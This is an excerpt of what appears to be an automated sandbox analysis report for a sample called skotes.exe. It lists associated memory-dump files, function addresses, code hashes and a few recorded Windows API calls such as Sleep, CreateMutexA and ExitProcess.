Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 9865a95edb9a0c6b182fc173b3197976e11b322fd04150051f55cd4b2fab469a
Instruction ID: 3bb4dc9094f4af0c1ee2d3f40bc1e5a0e46e1a28f21fd4570aaa32a83811b47c
Opcode Fuzzy Hash: 9865a95edb9a0c6b182fc173b3197976e11b322fd04150051f55cd4b2fab469a
Instruction Fuzzy Hash: A1210A71A0011AAFDF00EFA4D981AFEB7B9EF48754F615026F901B7361DB709D429BA0

Analysis Process: skotes.exePID: 6984, Parent PID: 6352COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	611
Total number of Limit Nodes:	4

Executed Functions

Function 00EF652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00EF652A,?,?,?,?,?,00EF7661), ref: 00EF6567

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 8b39e4fc86ddfa57d72404dbf773bb92a466384e84ff53c4849f40f743c2859c
Instruction ID: ca05f91bcda8ebaabb4f22c52804327feedaa233ad0a21f1390d448e18c95f47
Opcode Fuzzy Hash: 8b39e4fc86ddfa57d72404dbf773bb92a466384e84ff53c4849f40f743c2859c
Instruction Fuzzy Hash: 32E08C3114110CAFCF29BF68C90DD693BA9EF5174DF046C10FA187A226CB29DE92CA80

Function 00EC9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 636ac4f3eca4c5b090cc3831adab60c899b6df57debab17dfeec190b1d20bd1a
Instruction ID: e99727260504316bc6fa03a0e6fe3a5e72d5463fba8049f76df84d9118b66ecd
Opcode Fuzzy Hash: 636ac4f3eca4c5b090cc3831adab60c899b6df57debab17dfeec190b1d20bd1a
Instruction Fuzzy Hash: FA31EB717042089BEB18DB68DE8DF5DB7A2DBC5314F24521DE014B73D6C77A89828B51

Function 00EC9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4a0b6f905ab5ddc55e097974be370c82b66e10dc380f182407cae6ab0dab7178
Instruction ID: 6c42cfa10dcb1ce49b7b7d26c2459fdf30a5d6adfbb04422b148343a50db5e4a
Opcode Fuzzy Hash: 4a0b6f905ab5ddc55e097974be370c82b66e10dc380f182407cae6ab0dab7178
Instruction Fuzzy Hash: DB312E717042488BEB189B68DD8DBACB762EBC6314F24561DE014F73D5C77789828751

Function 00ECA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333305676.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333377923.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333403859.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333441982.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333539352.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333567906.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333595785.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333621490.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333694071.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333715781.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333741427.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333763543.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333790312.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333812997.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333838593.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333860553.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333886166.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333908232.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333932414.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333956346.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2333983210.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334008038.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334029760.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334052043.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334075304.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334103251.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334127891.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334149851.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334173962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334196916.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334219324.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334242592.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334265568.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334289461.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334312456.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334336587.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334359241.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334381703.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334406835.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334430287.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334456484.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334479044.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334503416.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334526819.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334581394.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334604657.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334627692.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334651207.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334673504.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334697958.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334722839.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334763244.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2334801690.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9ba42bc81a5e8a29cd05420180ff72ec23cfbe5c780b705887590736ed5be82f
Instruction ID: 021df797786f4baccca1ab79b7ae63aec67101cb26b7a40a9b59ce624d034140
Opcode Fuzzy Hash: 9ba42bc81a5e8a29cd05420180ff72ec23cfbe5c780b705887590736ed5be82f
Instruction Fuzzy Hash: 86312A71B042089BEB189B78DE89F5DB772DBC1318F28522DE014B73D5C77B99828B52

Function 00ECA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000007.00000002.2333279261.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
